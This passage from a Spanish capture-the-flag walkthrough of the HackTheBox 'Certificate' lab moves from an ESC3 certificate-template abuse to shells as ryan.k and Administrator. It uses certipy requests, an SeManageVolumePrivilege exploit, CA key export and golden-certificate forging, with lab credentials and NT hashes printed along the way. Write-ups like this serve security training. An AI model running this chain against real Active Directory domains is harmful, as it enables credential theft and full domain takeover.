SubjectRequireDirectoryPath
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Certificate Request Agent
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-05T19:52:09+00:00
Template Last Modified : 2024-11-05T19:52:10+00:00
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFICATE.HTB\Domain CRA Managers
CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFICATE.HTB\Administrator
Full Control Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Write Owner Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Write Dacl Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Write Property Enroll : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
[+] User Enrollable Principals : CERTIFICATE.HTB\Domain CRA Managers
[!] Vulnerabilities
ESC3 : Template has Certificate Request Agent EKU set.
1
Template Name : SignedUser
Display Name : Signed User
Certificate Authorities : Certificate-LTD-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectAltRequireEmail
SubjectRequireEmail
SubjectRequireDirectoryPath
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
RA Application Policies : Certificate Request Agent
Authorized Signatures Required : 1
Schema Version : 2
Validity Period : 10 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-03T23:51:13+00:00
Template Last Modified : 2024-11-03T23:51:14+00:00
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Domain Users
CERTIFICATE.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFICATE.HTB\Administrator
Full Control Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Write Owner Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Write Dacl Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Write Property Enroll : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Domain Users
CERTIFICATE.HTB\Enterprise Admins
[+] User Enrollable Principals : CERTIFICATE.HTB\Domain Users
[*] Remarks
ESC3 Target Template : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template requires a signature with the Certificate Request Agent application policy.
La vulnerabilidad ESC3
aprovecha debilidades relacionadas con Certificate Request Agents
.
Certificate Request Agent
(Agente de solicitud de certificados) es una entidad o cuenta de usuario designada para gestionar solicitudes de certificados digitales en nombre de otros usuarios o dispositivos en una infraestructura de clave pública (PKI).
En este contexto Delegated-CRA
posee el uso de clave extendida (EKU
) con el valor Certificate Request Agent
, utilizando esta plantilla podríamos generar un certificado en nombre de otros usuarios.
La explotación de ESC3
está determinada tanto por la plantilla que incluye el EKU Certificate Request Agent
como otra plantilla que permita la inscripción de Agentes
Certificate Templates
0
Template Name : Delegated-CRA
Display Name : Delegated-CRA
Certificate Authorities : Certificate-LTD-CA
Enabled : True
Client Authentication : False
Enrollment Agent : True
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectAltRequireEmail
SubjectRequireEmail
SubjectRequireDirectoryPath
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Certificate Request Agent
...
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFICATE.HTB\Domain CRA
Solicitaremos un certificado para el usuario lion.sk
utilizando la plantilla Delegated-CRA
certipy req -u 'lion.sk@certificate.htb' -p '!QAZ2wsx' -ca Certificate-LTD-CA -template Delegated-CRA -dc-ip 10.10.11.71
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 26
[*] Successfully requested certificate
[*] Got certificate with UPN 'Lion.SK@certificate.htb'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1115'
[*] Saving certificate and private key to 'lion.sk.pfx'
[*] Wrote certificate and private key to 'lion.sk.pfx'
Notaremos que las plantillas que admiten autenticación (como User
, Machine
, UserSignature
), se encuentran deshabilitadas. Encontraremos la plantilla SignedUser
, que permite autenticación
Template Name : SignedUser
Display Name : Signed User
Certificate Authorities : Certificate-LTD-CA
Enabled : True
Client Authentication : True
...
...
Extended Key Usage : Client Authentication
...
...
(Failed) Certificate for Administrator
Si intentaremos solicitar un certificado para el usuario Administrator
utilizando la plantilla SignedUser
, nos saldrá un mensaje de error
certipy req -u 'lion.sk@certificate.htb' -p '!QAZ2wsx' -ca Certificate-LTD-CA -template SignedUser -pfx lion.sk.pfx -dc-ip 10.10.11.71 -on-behalf-of 'CERTIFICATE\Administrator'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 23
[-] Got error while requesting certificate: code: 0x80094812 - CERTSRV_E_SUBJECT_EMAIL_REQUIRED - The email name is unavailable and cannot be added to the Subject or Subject Alternate name.
Esto se debe a que la plantilla posee ciertos requerimientos, como que el usuario tenga asignado un Email Subject
Certificate Name Flag : SubjectAltRequireUpn
SubjectAltRequireEmail
SubjectRequireEmail
SubjectRequireDirectoryPath
La cuenta de Administrator
no cumple con este requerimiento, podemos consultar rápidamente utilizando la herramienta GetADUsers.py
GetADUsers.py certificate.htb/Lion.SK:'!QAZ2wsx' -all
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
[*] Querying certificate.htb for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Administrator 2025-04-28 17:33:46.958071 2025-10-05 04:17:35.129682
Guest <never> <never>
krbtgt 2024-11-03 04:24:32.914665 <never>
Kai.X kai.x@certificate.htb 2024-11-03 19:18:06.346088 2024-11-24 01:36:30.608468
Sara.B sara.b@certificate.htb 2024-11-03 21:01:09.188915 2024-12-27 01:01:28.460147
John.C john.c@certificate.htb 2024-11-03 21:16:41.190022 <never>
Aya.W aya.w@certificate.htb 2024-11-03 21:17:43.642034 <never>
Nya.S nya.s@certificate.htb 2024-11-03 21:18:53.829718 <never>
Maya.K maya.k@certificate.htb 2024-11-03 21:20:01.657941 <never>
Lion.SK lion.sk@certificate.htb 2024-11-03 21:28:02.471452 2024-11-04 03:24:08.500719
Eva.F eva.f@certificate.htb 2024-11-03 21:33:36.752043 <never>
Ryan.K ryan.k@certificate.htb 2024-11-03 21:57:30.939423 2025-10-05 03:59:38.051561
akeder.kh 2024-11-23 21:26:06.813668 2024-11-23 21:51:49.735026
kara.m 2024-11-23 21:28:19.142081 <never>
Alex.D alex.d@certificate.htb 2024-11-24 01:47:44.514001 2024-11-24 01:48:05.703180
karol.s 2024-11-23 21:42:21.125611 <never>
saad.m saad.m@certificate.htb 2024-11-23 21:44:23.532500 <never>
xamppuser 2024-12-29 04:42:04.121622 2025-10-04 19:02:17.723560
New User Target
Consultando los diferentes usuarios dentro del dominio, notaremos que Ryan.K
es miembro del grupo Domain Storage Managers
, aunque no es un grupo predeterminado, su descripción nos menciona que puede gestionar el sistema
Intentaremos nuevamente utilizar la plantilla SignedUser
para solicitar un certificado pero ahora para el usuario ryan.k
certipy req -u 'lion.sk@certificate.htb' -p '!QAZ2wsx' -ca Certificate-LTD-CA -template SignedUser -pfx lion.sk.pfx -dc-ip 10.10.11.71 -on-behalf-of 'CERTIFICATE\ryan.k'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 33
[*] Successfully requested certificate
[*] Got certificate with UPN 'ryan.k@certificate.htb'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1117'
[*] Saving certificate and private key to 'ryan.k.pfx'
[*] Wrote certificate and private key to 'ryan.k.pfx'
Utilizaremos el certificado que generamos para autenticarnos en el DC como el usuario ryan.k
, deberíamos obtener credenciales en caché además de su hash NTLM
certipy auth -pfx ryan.k.pfx -dc-ip 10.10.11.71 -username ryan.k -domain certificate.htb Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'ryan.k@certificate.htb'
[*] Security Extension SID: 'S-1-5-21-515537669-4223687196-3249690583-1117'
[*] Using principal: 'ryan.k@certificate.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ryan.k.ccache'
[*] Wrote credential cache to 'ryan.k.ccache'
[*] Trying to retrieve NT hash for 'ryan.k'
[*] Got hash for 'ryan.k@certificate.htb': aad3b435b51404eeaad3b435b51404ee:b1bc3d70e70f4f36b1509a65ae1a2ae6
Shell as Ryan.K
Podemos utilizar tanto el hash NT del usuario ryan.k
como el ticket kerberos
, por comodidad y para evitar errores, recomiendo utilizar el hash
evil-winrm-py -i DC01.certificate.htb -u 'ryan.k' -H 'b1bc3d70e70f4f36b1509a65ae1a2ae6'
▘▜ ▘
█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌
▌ ▄▌ v1.1.2
[*] Connecting to DC01.certificate.htb:5985 as ryan.k
evil-winrm-py PS C:\Users\Ryan.K\Documents> whoami
certificate\ryan.k
Abusing SeManageVolumePrivilege
Si listamos los privilegios locales que posee el usuario ryan.k
, veremos el privilegio SeManageVolumePrivilege
SeManageVolumePrivilege
permite operaciones de administración de nivel de volumen específicas, como el volumen de bloqueo, la desfragmentación, el desmontaje del volumen y la configuración de la longitud de datos válida en Windows XP y versiones posteriores.
evil-winrm-py PS C:\Users\Ryan.K\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================ =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Existe un exploit que podemos utilizar como prueba de concepto para otorgar control completo sobre todos los archivos del sistema, disponible desde el repositorio de CsEnox
en Github
.
Descargaremos el ejecutable disponible en releases
de la siguiente manera en nuestra máquina para luego transferirla al DC
# Locally
wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe
# In powershell session
evil-winrm-py PS C:\Programdata> upload SeManageVolumeExploit.exe .
Exploiting
Cuando ejecutemos el exploit, deberíamos ver el mensaje DONE
.
evil-winrm-py PS C:\Programdata> .\SeManageVolumeExploit.exe
Entries changed: 858
DONE
Si verificamos los permisos de la unidad C:
, notaremos que ahora todos los usuarios del dominio tienen permisos sobre la unidad C:
evil-winrm-py PS C:\Programdata> icacls C:
C: NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Users:(OI)(CI)(F) # Here (F) is Full Control
CREATOR OWNER:(OI)(CI)(IO)(F)
BUILTIN\Pre-Windows 2000 Compatible Access:(OI)(CI)(RX)
BUILTIN\Pre-Windows 2000 Compatible Access:(CI)(WD,AD,WEA,WA)
Golden Certificate
En este punto podríamos intentar desde ver la última flag hasta extraer la base de datos NTDS
y volcar todos los hashes NTLM.
El ataque
Golden Certificate
consiste en obtener el Certificado y la Clave Privada de la Autoridad de Certificación (CA) raíz o de una CA subordinada del dominio.
Podemos exportar un certificado que incluya la clave privada de la CA para firmar certificados en nombre de cualquier usuario, incluyendo a Administrator
.
Comenzaremos exportando la clave privada dentro de un certificado PFX, podemos hacer uso del número de serie del certificado raíz de la CA
evil-winrm-py PS C:\Programdata> certutil -exportPFX 75B2F4BBF31F108945147B466131BDCA .\ca.pfx
MY "Personal"
================ Certificate 2 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
NotBefore: 11/3/2024 3:55 PM
NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
Key Container = Certificate-LTD-CA
Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_7989b711-2e3f-4107-9aae-fb8df2e3b958
Provider = Microsoft Software Key Storage Provider
Signature test passed
Enter new password for output file .\ca.pfx:
Enter new password:
Confirm new password:
CertUtil: -exportPFX command completed successfully.
Descargaremos el certificado en nuestra máquina
evil-winrm-py PS C:\Programdata> download ca.pfx .
Procederemos a utilizar el certificado para firmar otro certificado en nombre del usuario Administrator
asignando el campo de UPN
(User Principal Name
)
certipy forge -ca-pfx ca.pfx -upn Administrator -out golden.pfx
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Saving forged certificate and private key to 'golden.pfx'
[*] Wrote forged certificate and private key to 'golden.pfx'
Nos autenticaremos como el usuario Administrator
empleando el certificado que emitimos anteriormente
certipy auth -pfx golden.pfx -dc-ip 10.10.11.71 -username Administrator -domain certificate.htb
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'Administrator'
[*] Using principal: 'administrator@certificate.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certificate.htb': aad3b435b51404eeaad3b435b51404ee:d80...
Root Time
Ya podremos conectarnos a la máquina con privilegios totales sobre el dominio
evil-winrm-py -i DC01.certificate.htb -u 'Administrator' -H 'd80...'
▘▜ ▘
█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌
▌ ▄▌ v1.1.2
[*] Connecting to DC01.certificate.htb:5985 as Administrator
evil-winrm-py PS C:\Users\Administrator\Documents> whoami
certificate\administrator
Ya podremos ver la última flag ubicada dentro del escritorio del usuario Administrator
evil-winrm-py PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
eb0...
Gracias por leer este artículo, espero te haya sido de ayuda. Te dejo la cita del día:
Let us revere, let us worship, but erect and open-eyed, the highest, not the lowest; the future, not the past! — Charlotte Gilman